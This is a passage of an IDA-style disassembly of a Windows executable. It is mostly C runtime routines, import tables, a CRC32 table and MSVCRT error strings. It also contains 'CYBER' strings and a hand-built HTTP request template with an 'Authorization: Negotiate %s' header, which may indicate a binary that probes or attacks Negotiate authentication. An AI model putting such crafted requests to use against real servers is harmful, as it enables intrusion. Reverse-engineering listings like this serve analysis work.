		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821136h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C32C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB5C0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610514h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB5C0, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2610514h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821136h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2821136h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB364

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F063Eh, 2600000h, 2600B2Dh
		dd 2610000h, 2610497h, 2610514h, 2620000h, 262085Dh, 2620C9Eh
		dd 2630000h, 26307C8h, 2630986h
dword_42703C	dd 26309ACh		; DATA XREF: ___:004231D9r
		dd 2630A3Ah, 2630D08h, 2630D39h, 2640000h, 2650000h, 2660000h
		dd 2670000h, 26703DBh, 26708D9h, 77E75CB5h
dword_427068	dd 2670909h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680000h, 26802A6h, 2690000h
dword_427078	dd 26904AEh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 269053Ch		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26906F7h
dword_427084	dd 2690805h		; DATA XREF: sub_4196BC+B9r
		dd 2690DA5h
dword_42708C	dd 2690DF2h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 26A0000h		; DATA XREF: ___:loc_4013DCr
		dd 26A0395h, 26A0480h
dword_42709C	dd 26A0589h		; DATA XREF: sub_409B12+2r
		dd 26A072Eh, 26A07C6h
dword_4270A8	dd 26A0DE3h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 26A0E5Dh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26B0000h, 26B0C29h
dword_4270B8	dd 26C0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26C037Bh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26D0000h, 26E0000h, 26E0570h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F0561h, 26F0734h, 2700000h, 270093Fh
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 271099Eh		; DATA XREF: sub_418293+36r
		dd 2710C10h, 2720000h
dword_4270F8	dd 2720607h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2731644h, 2740000h, 2740A7Bh, 2750000h, 27508DDh, 2760000h
		dd 2770000h, 2780000h, 2780B06h, 2780E3Ah, 2790000h, 279013Ch
		dd 2790927h, 27A0000h, 27A0457h
dword_42713C	dd 27A068Eh		; DATA XREF: sub_416F1A+BCr
		dd 27B0000h
dword_427144	dd 27C0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27C0AF4h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27C0B8Fh
dword_427150	dd 27D0000h		; DATA XREF: sub_417275+56r
		dd 27D024Fh, 27E0000h, 27F0000h, 27F04F6h, 27F0A4Fh, 27F0DA7h
		dd 2800000h, 280059Dh, 2810000h, 2820000h
dword_42717C	dd 2821136h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2840000h, 2840410h, 284094Eh, 2840C0Ah, 2850000h, 2860000h
		dd 28620E4h, 2870000h, 2880000h, 2890000h, 28919A1h, 28919B5h
		dd 28A0000h, 28A0DE2h, 28B0000h
dword_4271C0	dd 28B0615h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28B078Bh		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28B08D0h, 28C0000h, 28C0693h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C544o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C540o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C7BCo
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
